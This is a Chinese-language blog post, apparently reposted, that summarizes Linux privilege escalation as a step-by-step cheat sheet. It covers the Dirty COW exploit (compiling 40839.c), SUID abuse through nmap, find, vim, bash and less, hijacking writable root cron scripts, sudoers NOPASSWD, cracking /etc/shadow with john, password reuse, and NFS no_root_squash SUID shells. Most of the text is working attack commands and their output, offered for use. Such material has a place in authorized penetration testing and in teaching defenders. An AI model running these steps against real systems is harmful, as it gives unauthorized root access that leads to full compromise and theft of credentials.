最詳細Linux提權總結(建議收藏)


1、內核漏洞臟牛提權

查看發行版本

cat /etc/issue

cat /etc/*-release

  

查看內核版本信息

uname -a

   

具體提權

1、信息收集配合kali提權

uname -a   #查看內核版本信息

內核版本為3.2.78,那我們可以搜索該版本漏洞

searchsploit linux 3.2.78

找到幾個可以使用的臟牛提權腳本,這里我使用的是40839.c腳本

那我們把這個文件也進行上傳

然后在我們反彈的shell上查看,發現上傳成功。

我們可以先看看腳本

利用提示對腳本進行編譯

gcc -pthread 40839.c -o 40839 -lcrypt

   

運行然后輸入密碼即可

接下來我們通過

su firefart   #切換用戶

   

2、利用linux-exploit-suggester、linux-exploit-suggester-2等工具

   

linux-exploit-suggester

   

linux-exploit-suggester-2

   

2、SUID配置錯誤提權

SUID簡介

1.只有可以執行的二進制程序文件才能設定SUID權限,非二進制文件設置SUID權限沒任何意義.

2.命令執行者要對該程序文件擁有執行(x)權限.

3.命令執行者在執行該程序時獲得該程序文件屬主的身份.

4.SUID權限只在該程序執行過程中有效,也就是說身份改變只在程序執行過程中有效

   

SUID設置方法

1、chmod u+s FILE...

2、chmod u-s FILE…

   

具體提權

SUID可以讓程序調用者以文件擁有者的身份運行該文件,當我們以一個普通用戶去運行一個root用戶所有的SUID文件,那么運行該文件我們就可以獲取到root權限

常見Linuxroot文件列表如下

nmap

vim

find

bash

more

less

nano

cp

   

利用如下POC

#以下命令將嘗試查找具有root權限的SUID的文件,不同系統適用於不同的命令

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} \;

   

各命令提權利用

nmap

舊版本的 Nmap(2.02 到 5.21)具有交互模式,允許用戶執行 shell 命令。由於 Nmap 位於以 root 權限執行的二進制文件列表中,因此可以使用交互式控制台來運行具有相同權限的 shell。

   

nmap --interactive #啟動交互模式

   

nmap> !sh

sh-3.2# whoami

root

   

   

或者有一個 Metasploit 模塊,它通過 SUID Nmap 二進制文件執行權限提升。

exploit/unix/local/setuid_nmap

   

find

實用程序find可用於發現存儲在系統上。然而,它是執行命令的能力。因此,如果它被配置為使用 SUID 權限運行,那么所有將通過 find 執行的命令都將以 root 身份執行。

   

我們拿到一個非root權限

   

touch abc

find abc -exec whoami \;

   

vim

Vim 的主要用途是作為文本編輯器。但是,如果它作為 SUID 運行,它將繼承 root 用戶的權限,因此它可以讀取系統上的所有文件。

   

vim.tiny /etc/shadow

   

還可以通過vim來打開shell

vim.tiny

# Press ESC key

:set shell=/bin/sh

:shell

   

Bash

bash -p

bash-3.2# id

uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

   

lessmore

less /etc/passwd

!/bin/sh

   

3、計划任務提權

系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。非root權限的用戶是不可以列出root用戶的計划任務的。但是/etc/內系統的計划任務可以被列出。

利用命令如下命令列出一些計划任務

ls -l /etc/cron*

cat /etc/crontab

在發現有一些計划任務時,我們就可以去檢查是否存在一些問題導致權限的提升

   

權限配置不當

首先我們拿到一個非root用戶的賬號,我們通過一些其他的手段提權都失敗了,這個時候我們查看了一下計划任務

   

cat /etc/crontab

   

發現存在一個root身份運行的test.sh,那我們當相應的目錄下去查看一下這個計划任務

   

cd /sbin;ls -l test.sh

   

發現這里權限配置為777,就是說我們普通用戶也能去修改這個test.sh文件,那我們對文件進行修改,然后進行提權。

cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

接下來就到/tmp等待計划任務的執行

   

產生后對bash文件進行執行即可進行提權

   

4、sudo提權

普通用戶一般是無法運行root所有者的命令的,運用sudo可以使普通用戶使用root用戶的命令。但是在一些場景下,管理員為了平常運營方便給sudoer文件配置不當,從而導致權限提升的問題產生。

   

一般情況下,我們使用sudo命令都需要輸入root密碼

   

管理可能為了方便對/etc/sudoers進行編輯成sudo免密碼

vim /etc/sudoers

添加:test ALL=(ALL:ALL) NOPASSWD:ALL #test為我們的用戶

   

添加后我們在進行重新進行讀取

   

5、明文root密碼提權

大多數linux系統的密碼都和/etc/passwd和/etc/shadow這兩個配置文件息息相關。passwd里面儲存了用戶,shadow里面是密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫的。shadow是僅root可讀寫的。

   

當我們的passwd和shadow一些權限配置不當就可能會導致提權

   

passwd文件

test:x:1000:1000::/home/test:/bin/bash

passwd 由冒號分割,第一列是用戶名,第二列是密碼,x 代表密碼 hash 被放在 shadow 里面了(非root用戶不可讀)。

當我們的passwd文件給普通用戶配置了寫權限,那么我們就可以通過修改x為一段已知的密碼的hash值來進行提權。

   

shadow文件

test:$6$Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::

假如我們對shadow文件有讀取權限我們就可以利用hash、john等對其進行爆破

這里以john為例進行演示,首先把passwdshadow兩文件放在同一文件下

   

john --user=test test.hash

   

6、密碼復用提權

當我們獲取到一些如數據庫、后台 web 密碼,可能就是 root 密碼

   

7、第三方服務提權

netstat -antup #查看各種網絡服務

1、NFS提權

當服務器中存在NFS共享,且開啟了no_root_squash選項時,這時如果客戶端使用的是root用戶,那么對於共享目錄來說,該客戶端就有root權限,可以使用它來提升權限。

查看NFS服務器上的共享目錄

sudo showmount -e x.x.x.x

②創建本地掛載目錄,掛載共享目錄。使用攻擊者本地root權限創建Suid shell。

sudo mkdir -p /tmp

sudo mount -t nfs x.x.x.x:/home/test /tmp

cp /bin/bash /tmp/shell

chmod u+s /tmp/shell

③回到要提權的服務器上,使用普通用戶使用shell -p來獲取root權限。

2、數據庫提權(篇幅教長,后續另起篇幅)

①UDF提權

②MOF提權

啟動項提權

CVE-2016-6663、CVE-2016-6664組合提權

反彈端口提權


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM